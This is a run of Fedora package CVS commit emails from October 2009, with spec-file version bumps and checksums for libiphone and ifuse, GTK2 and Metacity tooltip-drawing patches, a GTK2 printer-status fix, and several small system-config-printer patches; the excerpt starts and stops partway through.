 Name:           libiphone
-Version:        0.9.3
+Version:        0.9.4
 Release:        1%{?dist}
 Summary:        Library for connecting to Apple iPhone and iPod touch
 
@@ -87,6 +87,9 @@ rm -rf %{buildroot}
 %{python_sitearch}/libiphone/
 
 %changelog
+* Wed Oct 28 2009 Peter Robinson <pbrobinson at gmail.com> 0.9.4-1
+- Update to 0.9.4 release for new usbmuxd 1.0.0-rc1
+
 * Mon Aug 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.9.3-1
 - Update to 0.9.3 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libiphone/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	10 Aug 2009 15:31:59 -0000	1.7
+++ sources	28 Oct 2009 16:07:26 -0000	1.8
@@ -1 +1 @@
-ce729c31b6b760dac94cbf8f84e09667  libiphone-0.9.3.tar.bz2
+028c850b20993844d42b713524a1268b  libiphone-0.9.4.tar.bz2



From mkasik at fedoraproject.org  Wed Oct 28 16:08:06 2009
From: mkasik at fedoraproject.org (=?utf-8?b?TWFyZWsgS2HFocOtaw==?=)
Date: Wed, 28 Oct 2009 16:08:06 +0000 (UTC)
Subject: rpms/gtk2/F-11 gtk2-remove-connecting-reason.patch, NONE,
	1.1 gtk2.spec, 1.383, 1.384
Message-ID: <20091028160806.4B84811C00E5@cvs1.fedora.phx.redhat.com>

Author: mkasik

Update of /cvs/pkgs/rpms/gtk2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21663

Modified Files:
	gtk2.spec 
Added Files:
	gtk2-remove-connecting-reason.patch 
Log Message:
* Wed Oct 28 2009 Marek Kasik <mkasik at redhat.com> - 2.16.6-3
- Remove handling of "connecting-to-device" reason (#529364)


gtk2-remove-connecting-reason.patch:
 gtkprintbackendcups.c |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE gtk2-remove-connecting-reason.patch ---
--- modules/printbackends/cups/gtkprintbackendcups.c	2009-10-28 16:35:06.000000000 +0100
+++ modules/printbackends/cups/gtkprintbackendcups.c	2009-10-28 16:35:45.000000000 +0100
@@ -1405,7 +1405,6 @@ cups_request_printer_list_cb (GtkPrintBa
           "media-low",
           "media-empty",
           "offline",
-          "connecting-to-device",
           "other"
         };
       static const char * reasons_descs[] =
@@ -1425,7 +1424,6 @@ cups_request_printer_list_cb (GtkPrintBa
           N_("Printer '%s' is low on paper."),
           N_("Printer '%s' is out of paper."),
           N_("Printer '%s' is currently off-line."),
-          N_("Printer '%s' may not be connected."),
           N_("There is a problem on printer '%s'.")
         };
       gboolean is_paused = FALSE;


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-11/gtk2.spec,v
retrieving revision 1.383
retrieving revision 1.384
diff -u -p -r1.383 -r1.384
--- gtk2.spec	4 Sep 2009 01:19:23 -0000	1.383
+++ gtk2.spec	28 Oct 2009 16:08:05 -0000	1.384
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.16/gtk+-%{version}.tar.bz2
@@ -31,6 +31,8 @@ Patch0: gtk+-2.13.5-lib64.patch
 Patch3: default_printer.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=384940
 Patch4: print_authentication.patch
+# http://bugzilla.redhat.com/show_bug.cgi?id=529364
+Patch5: gtk2-remove-connecting-reason.patch
 
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -144,6 +146,7 @@ This package contains developer document
 %patch0 -p1 -b .lib64
 %patch3 -p0 -b .default-printer
 %patch4 -p0 -b .print-authentication
+%patch5 -p0 -b .remove-connecting-reason
 
 # make sure that gtkmarshalers.{c, h} get regenerated during the build
 #  - caused by print_authentication.patch
@@ -382,6 +385,9 @@ fi
 
 
 %changelog
+* Wed Oct 28 2009 Marek Kasik <mkasik at redhat.com> - 2.16.6-3
+- Remove handling of "connecting-to-device" reason (#529364)
+
 * Thu Sep  3 2009 Matthias Clasen <mclasen at redhat.com> - 2.16.6-2
 - Add im-cedilla.conf to gtk2-immodules (#510666)
 



From mclasen at fedoraproject.org  Wed Oct 28 16:18:40 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 28 Oct 2009 16:18:40 +0000 (UTC)
Subject: rpms/gtk2/F-12 fresh-tooltips.patch,1.4,1.5 gtk2.spec,1.425,1.426
Message-ID: <20091028161840.3FC0F11C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22841

Modified Files:
	fresh-tooltips.patch gtk2.spec 
Log Message:
Improve tooltip sharpness


fresh-tooltips.patch:
 gtktooltip.c |  276 ++++++++++++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 257 insertions(+), 19 deletions(-)

Index: fresh-tooltips.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/fresh-tooltips.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- fresh-tooltips.patch	23 Oct 2009 21:25:41 -0000	1.4
+++ fresh-tooltips.patch	28 Oct 2009 16:18:39 -0000	1.5
@@ -1,7 +1,17 @@
-diff -up gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips gtk+-2.18.3/gtk/gtktooltip.c
 --- gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips	2009-10-16 10:35:45.000000000 -0400
-+++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-23 17:18:46.556129731 -0400
-@@ -95,6 +95,7 @@ static void       gtk_tooltip_display_cl
++++ hacked/gtk/gtktooltip.c	2009-10-28 11:45:17.216105152 -0400
+@@ -29,6 +29,10 @@
+ #include "gtkhbox.h"
+ #include "gtkalignment.h"
+ 
++#ifdef GDK_WINDOWING_X11
++#include "gdk/x11/gdkx.h"
++#endif
++
+ #include "gtkalias.h"
+ 
+ #include <string.h>
+@@ -95,6 +99,7 @@
  						    GtkTooltip      *tooltip);
  static void       gtk_tooltip_set_last_window      (GtkTooltip      *tooltip,
  						    GdkWindow       *window);
@@ -9,7 +19,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  
  
  G_DEFINE_TYPE (GtkTooltip, gtk_tooltip, G_TYPE_OBJECT);
-@@ -110,8 +111,25 @@ gtk_tooltip_class_init (GtkTooltipClass 
+@@ -110,8 +115,25 @@
  }
  
  static void
@@ -35,7 +45,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
    tooltip->timeout_id = 0;
    tooltip->browse_mode_timeout_id = 0;
  
-@@ -127,8 +145,15 @@ gtk_tooltip_init (GtkTooltip *tooltip)
+@@ -127,8 +149,17 @@
    tooltip->last_window = NULL;
  
    tooltip->window = g_object_ref (gtk_window_new (GTK_WINDOW_POPUP));
@@ -45,13 +55,15 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +  if (rgba)
 +    gtk_widget_set_colormap (tooltip->window, rgba);
 +
++#if 0
    gtk_window_set_type_hint (GTK_WINDOW (tooltip->window),
  			    GDK_WINDOW_TYPE_HINT_TOOLTIP);
++#endif
 +
    gtk_widget_set_app_paintable (tooltip->window, TRUE);
    gtk_window_set_resizable (GTK_WINDOW (tooltip->window), FALSE);
    gtk_widget_set_name (tooltip->window, "gtk-tooltip");
-@@ -145,7 +170,7 @@ gtk_tooltip_init (GtkTooltip *tooltip)
+@@ -145,7 +176,7 @@
    gtk_widget_show (tooltip->alignment);
  
    g_signal_connect_swapped (tooltip->window, "style-set",
@@ -60,7 +72,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
    g_signal_connect_swapped (tooltip->window, "expose-event",
  			    G_CALLBACK (gtk_tooltip_paint_window), tooltip);
  
-@@ -162,6 +187,11 @@ gtk_tooltip_init (GtkTooltip *tooltip)
+@@ -162,6 +193,11 @@
    gtk_box_pack_start (GTK_BOX (tooltip->box), tooltip->label,
  		      FALSE, FALSE, 0);
  
@@ -72,7 +84,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
    tooltip->custom_widget = NULL;
  }
  
-@@ -318,9 +348,9 @@ gtk_tooltip_set_icon_from_stock (GtkTool
+@@ -318,9 +354,9 @@
   * Since: 2.14
   */
  void
@@ -85,7 +97,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  {
    g_return_if_fail (GTK_IS_TOOLTIP (tooltip));
  
-@@ -471,27 +501,213 @@ static void
+@@ -471,27 +507,229 @@
  gtk_tooltip_window_style_set (GtkTooltip *tooltip)
  {
    gtk_alignment_set_padding (GTK_ALIGNMENT (tooltip->alignment),
@@ -172,9 +184,9 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +  cairo_set_operator (cr, CAIRO_OPERATOR_OVER);
 +
 +  draw_round_rect (cr,
-+                   1.0, 1, 1, radius,
-+                   widget->allocation.width - 2,
-+                   widget->allocation.height - 2);
++                   1.0, 0.5, 0.5, radius,
++                   widget->allocation.width - 1,
++                   widget->allocation.height - 1);
 +
 +  color = widget->style->bg [GTK_STATE_NORMAL];
 +  r = (float)color.red / 65535.0;
@@ -196,10 +208,12 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +static void
 +update_shape (GtkTooltip *tooltip)
 +{
++  GdkScreen *screen;
 +  GdkBitmap *mask;
 +  cairo_t *cr;
 +  gint width, height;
 +  gboolean new_style;
++  gint radius;
 +
 +  gtk_widget_style_get (tooltip->window, "new-tooltip-style", &new_style, NULL);
 +
@@ -209,20 +223,30 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +     return;
 +    }
 +
++  screen = gtk_widget_get_screen (tooltip->window);
++
 +  gtk_window_get_size (GTK_WINDOW (tooltip->window), &width, &height);
 +
-+  if (gdk_screen_is_composited (gtk_widget_get_screen (tooltip->window)))
++  if (gdk_screen_is_composited (screen))
 +    {
 +      GdkRectangle rect;
 +      GdkRegion *region;
++      const char *wm;
 +
-+#if 0
 +      gtk_widget_shape_combine_mask (tooltip->window, NULL, 0, 0);
-+     return;
-+#endif
-+      /* This is a hack to keep the metacity compositor from slapping a
++#ifdef GDK_WINDOWING_X11
++      /* This is a hack to keep the Metacity compositor from slapping a
 +       * non-shaped shadow around the shaped tooltip
 +       */
++      if (!GTK_WIDGET_MAPPED (tooltip->window))
++        {
++          wm = gdk_x11_screen_get_window_manager_name (screen);
++          if (g_strcmp0 (wm, "Metacity") == 0)
++            gtk_window_set_type_hint (GTK_WINDOW (tooltip->window),
++			              GDK_WINDOW_TYPE_HINT_DND);
++        }
++#endif
++#if 0
 +      if (tooltip->window->window)
 +        {
 +          rect.x = 0;
@@ -233,9 +257,13 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +          gdk_window_shape_combine_region (tooltip->window->window, region, 0, 0);
 +          gdk_region_destroy (region);
 +        }
++#endif
 +      return;
 +    }
 +
++  radius = MIN (tooltip->window->style->xthickness,
++                tooltip->window->style->ythickness);
++  radius = MAX (radius, 1);
 +  mask = (GdkBitmap *) gdk_pixmap_new (NULL, width, height, 1);
 +  cr = gdk_cairo_create (mask);
 +  if (cairo_status (cr) == CAIRO_STATUS_SUCCESS)
@@ -245,7 +273,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +
 +      cairo_set_operator (cr, CAIRO_OPERATOR_OVER);
 +      cairo_set_source_rgb (cr, 1.0, 1.0, 1.0);
-+      draw_round_rect (cr, 1.0, 0, 0, 4, width, height);
++      draw_round_rect (cr, 1.0, 0, 0, radius + 1, width, height);
 +      cairo_fill (cr);
 +
 +      gtk_widget_shape_combine_mask (tooltip->window, mask, 0, 0);
@@ -313,7 +341,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  
    return FALSE;
  }
-@@ -631,7 +847,7 @@ find_widget_under_pointer (GdkWindow *wi
+@@ -631,7 +869,7 @@
  
  #ifdef DEBUG_TOOLTIP
    g_print ("event window %p (belonging to %p (%s))  (%d, %d)\n",
@@ -322,21 +350,3 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  	   *x, *y);
  #endif
  
-diff -up gtk+-2.18.3/gtk/gtkwidget.c.fresh-tooltips gtk+-2.18.3/gtk/gtkwidget.c
---- gtk+-2.18.3/gtk/gtkwidget.c.fresh-tooltips	2009-10-23 17:15:46.311135255 -0400
-+++ gtk+-2.18.3/gtk/gtkwidget.c	2009-10-23 17:16:11.050128828 -0400
-@@ -2386,6 +2386,14 @@ gtk_widget_class_init (GtkWidgetClass *k
-                                                              P_("The length of vertical scroll arrows"),
-                                                              1, G_MAXINT, 16,
-                                                              GTK_PARAM_READABLE));
-+
-+  gtk_widget_class_install_style_property (klass,
-+                                           g_param_spec_boolean ("new-tooltip-style",
-+                                                                 NULL,
-+                                                                 NULL,
-+                                                                 FALSE,
-+                                                                 GTK_PARAM_READABLE));
-+
- }
- 
- static void


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.425
retrieving revision 1.426
diff -u -p -r1.425 -r1.426
--- gtk2.spec	26 Oct 2009 05:03:58 -0000	1.425
+++ gtk2.spec	28 Oct 2009 16:18:39 -0000	1.426
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 12%{?dist}
+Release: 13%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -34,7 +34,6 @@ Patch2: icon-padding.patch
 Patch3: image-size-alloc.patch
 # https://bugzilla.gnome.org/show_bug.cgi?id=599617
 Patch4: fresh-tooltips.patch
-Patch5: zerosize.patch
 # from upstream
 Patch6: compose-sequences.patch
 # from upstream
@@ -160,7 +159,6 @@ This package contains developer document
 %patch2 -p1 -b .icon-padding
 %patch3 -p1 -b .image-size-alloc
 %patch4 -p1 -b .fresh-tooltips
-%patch5 -p1 -b .zerosize
 %patch6 -p1 -b .compose-sequences
 %patch7 -p1 -b .symbolic-color-parsing
 %patch8 -p1 -b .tooltip-positioning
@@ -402,6 +400,10 @@ fi
 
 
 %changelog
+* Wed Oct 28 2009 Matthias Clasen <mclasen at redhta.com> - 2.18.3-13
+- Make the new tooltips sharp
+- Improve the Metacity compositor workaround for new tooltips
+
 * Mon Oct 26 2009 Matthias Clasen <mclasen at redhta.com> - 2.18.3-12
 - Fix a possible assertion failure in GtkToolButton
 



From pbrobinson at fedoraproject.org  Wed Oct 28 16:23:10 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 28 Oct 2009 16:23:10 +0000 (UTC)
Subject: rpms/ifuse/devel .cvsignore, 1.5, 1.6 ifuse.spec, 1.7, 1.8 sources, 
	1.5, 1.6
Message-ID: <20091028162310.6BF5311C00E5@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/ifuse/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24041

Modified Files:
	.cvsignore ifuse.spec sources 
Log Message:
- Update to 0.9.4 release for new usbmuxd 1.0.0-rc1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ifuse/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	10 Aug 2009 15:28:59 -0000	1.5
+++ .cvsignore	28 Oct 2009 16:23:10 -0000	1.6
@@ -1 +1 @@
-ifuse-0.9.3.tar.bz2
+ifuse-0.9.4.tar.bz2


Index: ifuse.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ifuse/devel/ifuse.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- ifuse.spec	17 Sep 2009 06:29:39 -0000	1.7
+++ ifuse.spec	28 Oct 2009 16:23:10 -0000	1.8
@@ -1,6 +1,6 @@
 Name:          ifuse
-Version:       0.9.3
-Release:       2%{?dist}
+Version:       0.9.4
+Release:       1%{?dist}
 Summary:       Mount Apple iPhone and iPod touch devices
 
 Group:         System Environment/Libraries
@@ -38,6 +38,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/hal/fdi/information/20thirdparty/30-ifuse.fdi
 
 %changelog
+* Wed Oct 28 2009 Peter Robinson <pbrobinson at gmail.com> 0.9.4-1
+- Update to 0.9.4 release for new usbmuxd 1.0.0-rc1
+
 * Thu Sep 17 2009 Peter Lemenkov <lemenkov at gmail.com> 0.9.3-2
 - Rebuilt with new fuse
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ifuse/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	10 Aug 2009 15:28:59 -0000	1.5
+++ sources	28 Oct 2009 16:23:10 -0000	1.6
@@ -1 +1 @@
-dfb627493132d7ca63feaf96bf5cb6a5  ifuse-0.9.3.tar.bz2
+185610ecee09a66676f52a2a57507c04  ifuse-0.9.4.tar.bz2



From mclasen at fedoraproject.org  Wed Oct 28 16:39:33 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 28 Oct 2009 16:39:33 +0000 (UTC)
Subject: rpms/metacity/F-12 fresh-tooltips.patch, 1.1, 1.2 metacity.spec,
	1.206, 1.207
Message-ID: <20091028163933.E723D11C00E5@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/metacity/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25344

Modified Files:
	fresh-tooltips.patch metacity.spec 
Log Message:
Make tooltips sharper


fresh-tooltips.patch:
 fixedtip.c |  215 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 198 insertions(+), 17 deletions(-)

Index: fresh-tooltips.patch
===================================================================
RCS file: /cvs/pkgs/rpms/metacity/F-12/fresh-tooltips.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- fresh-tooltips.patch	21 Oct 2009 20:45:18 -0000	1.1
+++ fresh-tooltips.patch	28 Oct 2009 16:39:33 -0000	1.2
@@ -1,6 +1,7 @@
---- metacity-2.28.0/src/ui/fixedtip.c	2009-10-21 16:28:48.651819365 -0400
-+++ hacked/src/ui/fixedtip.c	2009-10-21 16:40:27.148814794 -0400
-@@ -50,13 +50,174 @@
+diff -up metacity-2.28.0/src/ui/fixedtip.c.fresh-tooltips metacity-2.28.0/src/ui/fixedtip.c
+--- metacity-2.28.0/src/ui/fixedtip.c.fresh-tooltips	2009-10-28 12:23:19.134105834 -0400
++++ metacity-2.28.0/src/ui/fixedtip.c	2009-10-28 12:30:04.565110123 -0400
+@@ -50,33 +50,195 @@ static int screen_right_edge = 0;
   */
  static int screen_bottom_edge = 0;
  
@@ -74,9 +75,9 @@
 +  cairo_set_operator (cr, CAIRO_OPERATOR_OVER);
 +
 +  draw_round_rect (cr,
-+                   1.0, 1, 1, radius,
-+                   widget->allocation.width - 2,
-+                   widget->allocation.height - 2);
++                   1.0, 0.5, 0.5, radius,
++                   widget->allocation.width - 1,
++                   widget->allocation.height - 1);
 +
 +  color = widget->style->bg [GTK_STATE_NORMAL];
 +  r = (float)color.red / 65535.0;
@@ -101,32 +102,19 @@
 +  GdkBitmap *mask;
 +  cairo_t *cr;
 +  gint width, height;
++  gint radius;
 +
 +  gtk_window_get_size (GTK_WINDOW (window), &width, &height);
 +
 +  if (gdk_screen_is_composited (gtk_widget_get_screen (window)))
 +    {
-+      GdkRectangle rect;
-+      GdkRegion *region;
-+
-+#if 0
-+      gtk_widget_shape_combine_mask (tooltip->window, NULL, 0, 0);
-+     return;
-+#endif
-+      /* This is a hack to keep the metacity compositor from slapping a
-+ *        * non-shaped shadow around the shaped tooltip
-+ *               */
-+      rect.x = 0;
-+      rect.y = 0;
-+      rect.width = width;
-+      rect.height = height;
-+      region = gdk_region_rectangle (&rect);
-+      gdk_window_shape_combine_region (window->window, region, 0, 0);
-+      gdk_region_destroy (region);
-+
++      gtk_widget_shape_combine_mask (window, NULL, 0, 0);
 +      return;
 +    }
 +
++  radius = MIN (window->style->xthickness, window->style->ythickness);
++  radius = MAX (radius, 1);
++
 +  mask = (GdkBitmap *) gdk_pixmap_new (NULL, width, height, 1);
 +  cr = gdk_cairo_create (mask);
 +  if (cairo_status (cr) == CAIRO_STATUS_SUCCESS)
@@ -136,7 +124,7 @@
 +
 +      cairo_set_operator (cr, CAIRO_OPERATOR_OVER);
 +      cairo_set_source_rgb (cr, 1.0, 1.0, 1.0);
-+      draw_round_rect (cr, 1.0, 0, 0, 4, width, height);
++      draw_round_rect (cr, 1.0, 0, 0, radius + 1, width, height);
 +      cairo_fill (cr);
 +
 +      gtk_widget_shape_combine_mask (window, mask, 0, 0);
@@ -180,7 +168,24 @@
  
    return FALSE;
  }
-@@ -67,9 +228,10 @@
+ 
++#if 0
++static void
++on_composited_changed (GtkWidget *window)
++{
++  update_shape (window);
++}
++
++static void
++on_realized (GtkWidget *window)
++{
++  update_shape (window);
++}
++#endif
++
+ void
+ meta_fixed_tip_show (Display *xdisplay, int screen_number,
+                      int root_x, int root_y,
                       const char *markup_text)
  {
    int w, h;
@@ -191,9 +196,9 @@
 -    {      
 +    {
        tip = gtk_window_new (GTK_WINDOW_POPUP);
-       gtk_window_set_type_hint (GTK_WINDOW(tip), GDK_WINDOW_TYPE_HINT_TOOLTIP);
- 
-@@ -77,6 +239,7 @@
+-      gtk_window_set_type_hint (GTK_WINDOW(tip), GDK_WINDOW_TYPE_HINT_TOOLTIP);
+-
+       {
          GdkScreen *gdk_screen;
  	GdkRectangle monitor;
  	gint mon_num;
@@ -201,7 +206,7 @@
  
          gdk_screen = gdk_display_get_screen (gdk_display_get_default (),
                                               screen_number);
-@@ -86,22 +249,34 @@
+@@ -86,22 +248,41 @@ meta_fixed_tip_show (Display *xdisplay, 
  	gdk_screen_get_monitor_geometry (gdk_screen, mon_num, &monitor);
  	screen_right_edge = monitor.x + monitor.width;
  	screen_bottom_edge = monitor.y + monitor.height;
@@ -209,6 +214,13 @@
 +        rgba = gdk_screen_get_rgba_colormap (gdk_screen);
 +        if (rgba)
 +          gtk_widget_set_colormap (tip, rgba);
++
++#if 0
++        g_signal_connect (tip, "composited-changed",
++                          G_CALLBACK (on_composited_changed), NULL);
++        g_signal_connect (tip, "realize",
++                          G_CALLBACK (on_realized), NULL);
++#endif
        }
 -      
 +


Index: metacity.spec
===================================================================
RCS file: /cvs/pkgs/rpms/metacity/F-12/metacity.spec,v
retrieving revision 1.206
retrieving revision 1.207
diff -u -p -r1.206 -r1.207
--- metacity.spec	21 Oct 2009 20:45:18 -0000	1.206
+++ metacity.spec	28 Oct 2009 16:39:33 -0000	1.207
@@ -1,7 +1,7 @@
 Summary: Unobtrusive window manager
 Name: metacity
 Version: 2.28.0
-Release: 4%{?dist}
+Release: 5%{?dist}
 URL: http://download.gnome.org/sources/metacity/
 Source0: http://download.gnome.org/sources/metacity/2.28/metacity-%{version}.tar.bz2
 # http://bugzilla.gnome.org/show_bug.cgi?id=558723
@@ -194,6 +194,9 @@ fi
 %{_mandir}/man1/metacity-window-demo.1.gz
 
 %changelog
+* Wed Oct 28 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-5
+- Make tooltips look sharper
+
 * Wed Oct 21 2009 Matthias Clasen <mclasen at redhat.cm> - 2.28.0-4
 - Make tooltips look match GTK+
 



From twaugh at fedoraproject.org  Wed Oct 28 16:43:38 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Wed, 28 Oct 2009 16:43:38 +0000 (UTC)
Subject: rpms/system-config-printer/devel
	system-config-printer-autoselect-raw.patch, NONE,
	1.1 system-config-printer-find-return-accel.patch, NONE,
	1.1 system-config-printer-jobs-window-visibility.patch, NONE,
	1.1 system-config-printer-network-model.patch, NONE,
	1.1 system-config-printer-no-cancel-properties-dialog.patch,
	NONE, 1.1 system-config-printer-physdev-traceback.patch, NONE,
	1.1 system-config-printer-strip-zxs-pcl3.patch, NONE,
	1.1 system-config-printer-troubleshoot-network-printers.patch,
	NONE, 1.1 system-config-printer.spec, 1.299, 1.300
Message-ID: <20091028164338.EF34D11C00E5@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/system-config-printer/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26078

Modified Files:
	system-config-printer.spec 
Added Files:
	system-config-printer-autoselect-raw.patch 
	system-config-printer-find-return-accel.patch 
	system-config-printer-jobs-window-visibility.patch 
	system-config-printer-network-model.patch 
	system-config-printer-no-cancel-properties-dialog.patch 
	system-config-printer-physdev-traceback.patch 
	system-config-printer-strip-zxs-pcl3.patch 
	system-config-printer-troubleshoot-network-printers.patch 
Log Message:
Sync to F-12.

system-config-printer-autoselect-raw.patch:
 system-config-printer.py |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE system-config-printer-autoselect-raw.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.autoselect-raw system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.autoselect-raw	2009-09-30 16:54:07.363635374 +0100
+++ system-config-printer-1.1.13/system-config-printer.py	2009-09-30 16:54:19.189761633 +0100
@@ -3948,8 +3948,8 @@ class NewPrinterGUI(GtkGUI):
                  cupshelpers.ppds.ppdMakeModelSplit (makeandmodel)
             else:
                 # Special CUPS names for a raw queue.
-                self.auto_make = 'Raw'
-                self.auto_model = 'Queue'
+                self.auto_make = 'Generic'
+                self.auto_model = 'Raw Queue'
 
             try:
                 if self.dialog_mode == "ppd":

system-config-printer-find-return-accel.patch:
 NewPrinterWindow.glade |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE system-config-printer-find-return-accel.patch ---
diff -up system-config-printer-1.1.13/glade/NewPrinterWindow.glade.find-return-accel system-config-printer-1.1.13/glade/NewPrinterWindow.glade
--- system-config-printer-1.1.13/glade/NewPrinterWindow.glade.find-return-accel	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/glade/NewPrinterWindow.glade	2009-09-30 16:50:36.981760810 +0100
@@ -2580,6 +2580,7 @@ DTR/DSR (Hardware)</property>
 						  <property name="relief">GTK_RELIEF_NORMAL</property>
 						  <property name="focus_on_click">True</property>
 						  <signal name="clicked" handler="on_btnNetworkFind_clicked" last_modification_time="Fri, 19 Dec 2008 16:04:53 GMT"/>
+						  <accelerator key="Return" modifiers="0" signal="activate"/>
 						</widget>
 						<packing>
 						  <property name="left_attach">2</property>

system-config-printer-jobs-window-visibility.patch:
 jobviewer.py |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE system-config-printer-jobs-window-visibility.patch ---
diff -up system-config-printer-1.1.13/jobviewer.py.jobs-window-visibility system-config-printer-1.1.13/jobviewer.py
--- system-config-printer-1.1.13/jobviewer.py.jobs-window-visibility	2009-09-04 10:35:48.000000000 +0100
+++ system-config-printer-1.1.13/jobviewer.py	2009-10-28 15:47:52.796015837 +0000
@@ -378,6 +378,7 @@ class JobViewer (GtkGUI, monitor.Watcher
     def on_delete_event(self, *args):
         if self.trayicon or not self.loop:
             self.JobsWindow.hide ()
+            self.JobsWindow.set_data ('visible', False)
             if not self.loop:
                 # Being run from main app, not applet
                 self.cleanup ()

system-config-printer-network-model.patch:
 system-config-printer.py |    6 ++++++
 1 file changed, 6 insertions(+)

--- NEW FILE system-config-printer-network-model.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.network-model system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.network-model	2009-09-30 16:55:46.115760592 +0100
+++ system-config-printer-1.1.13/system-config-printer.py	2009-09-30 16:55:52.545635754 +0100
@@ -4217,6 +4217,12 @@ class NewPrinterGUI(GtkGUI):
                 if not self.install_hplip_plugin(self.device.uri):
                     self.on_NPCancel(None)
                     return
+
+                if not devid and self.device.type in ["socket", "lpd", "ipp"]:
+                    # This is a network printer whose model we don't yet know.
+                    # Try to discover it.
+                    self.getNetworkPrinterMakeModel ()
+
                 uri = self.device.uri
                 if uri and uri.startswith ("smb://"):
                     uri = SMBURI (uri=uri[6:]).sanitize_uri ()

system-config-printer-no-cancel-properties-dialog.patch:
 system-config-printer.py |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE system-config-printer-no-cancel-properties-dialog.patch ---
diff -up system-config-printer-1.1.13/system-config-printer.py.no-cancel-properties-dialog system-config-printer-1.1.13/system-config-printer.py
--- system-config-printer-1.1.13/system-config-printer.py.no-cancel-properties-dialog	2009-10-28 14:41:15.654017107 +0000
+++ system-config-printer-1.1.13/system-config-printer.py	2009-10-28 15:29:53.600140205 +0000
@@ -6815,8 +6815,9 @@ class NewPrinterGUI(GtkGUI):
             response = q.run ()
             q.destroy ()
             if response == gtk.RESPONSE_YES:
-                # Display the properties dialog.
+                # Load the printer details but hide the properties dialog.
                 self.mainapp.display_properties_dialog_for (name)
+                self.mainapp.PrinterPropertiesDialog.hide ()
 
                 # Click the test button.
                 self.mainapp.btnPrintTestPage.clicked ()

system-config-printer-physdev-traceback.patch:
 PhysicalDevice.py |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE system-config-printer-physdev-traceback.patch ---
diff -up system-config-printer-1.1.13/PhysicalDevice.py.physdev-traceback system-config-printer-1.1.13/PhysicalDevice.py
